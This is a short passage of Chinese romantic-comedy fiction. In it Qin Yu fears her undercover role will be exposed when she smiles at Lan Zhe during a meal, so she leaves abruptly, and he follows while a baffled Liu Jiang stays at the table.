秦羽再看向蓝哲时，蓝哲的眼神里似乎有丝哀怨一闪而过，鬼使神差的，秦羽居然毫无防备的对他笑了笑。 不行，不行，要穿帮了，秦羽发现自己真不是做卧底工作的料。 再待下去，秦羽不确定自己还会不会做出更奇怪的表情，思量片刻，她决定放下筷子。 “柳江啊，今天谢谢你请我吃饭，我吃好了，有点急事先走了啊。” 没等柳江反应过来，秦羽赶紧溜了。 对面的蓝哲也放下筷子，光速结账，走了出去，只剩下一脸懵逼的柳江待在原地，筷子上还夹着一只鱼丸。